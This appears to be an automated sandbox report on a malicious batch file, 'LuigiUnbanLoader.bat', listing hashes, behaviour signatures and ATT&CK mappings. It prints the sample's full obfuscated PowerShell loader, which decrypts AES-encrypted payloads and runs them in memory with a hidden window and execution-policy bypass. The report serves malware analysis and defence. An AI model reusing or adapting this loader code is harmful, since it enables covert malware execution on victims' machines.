c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

Analysis

max time kernel
14s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-01-2025 16:46

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General

Target

LuigiUnbanLoader.bat
Size

478KB
MD5

09c4764995d1f2e96d0a228743f2425e
SHA1

0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA256

c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
SHA512

856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP

6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3036	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3036	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 572 wrote to memory of 3036	572	cmd.exe	30
PID 572 wrote to memory of 3036	572	cmd.exe	30
PID 572 wrote to memory of 3036	572	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\LuigiUnbanLoader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\LuigiUnbanLoader.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3036-4-0x000007FEF60EE000-0x000007FEF60EF000-memory.dmp

Filesize
4KB

Download
memory/3036-5-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/3036-6-0x000000001B420000-0x000000001B702000-memory.dmp

Filesize
2.9MB

Download
memory/3036-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/3036-7-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/3036-9-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download
memory/3036-10-0x000007FEF5E30000-0x000007FEF67CD000-memory.dmp

Filesize
9.6MB

Download